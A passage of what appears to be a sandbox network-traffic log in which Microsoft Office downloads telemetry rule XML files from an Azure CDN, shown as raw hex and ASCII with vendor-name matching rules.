Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: b99e46b1-a01e-001e-0499-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051658Z-15b8d89586fdmfsg1u7xrpfws00000000bx0000000002ma0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051658Z-16849878b78q9m8bqvwuva4svc0000000660000000002844 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c60d5dca-401e-005b-2742-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051658Z-17c5cb586f69w69mgazyf263an00000006qg00000000cb6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7aa26785-f01e-0020-1b7f-2a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051658Z-15b8d89586fmhjx6a8nf3qm53c00000001k00000000002cp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:16:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051658Z-r197bdfb6b46kdskt78qagqq1c00000007wg0000000035we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051659Z-17c5cb586f672xmrz843mf85fn00000006eg000000005hcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051659Z-16849878b787bfsh7zgp804my4000000068g00000000m33f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051659Z-16849878b7898p5f6vryaqvp5800000008c000000000e8ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051659Z-r197bdfb6b48pl4k4a912hk2g400000006w0000000005cwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051659Z-16849878b78q9m8bqvwuva4svc0000000640000000008urt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d3dff139-d01e-002b-5c94-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051700Z-15b8d89586fzhrwgk23ex2bvhw0000000ad000000000ed7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0427b385-801e-0048-0995-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051700Z-17c5cb586f6lxnvg801rcb3n8n00000007ng00000000105v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 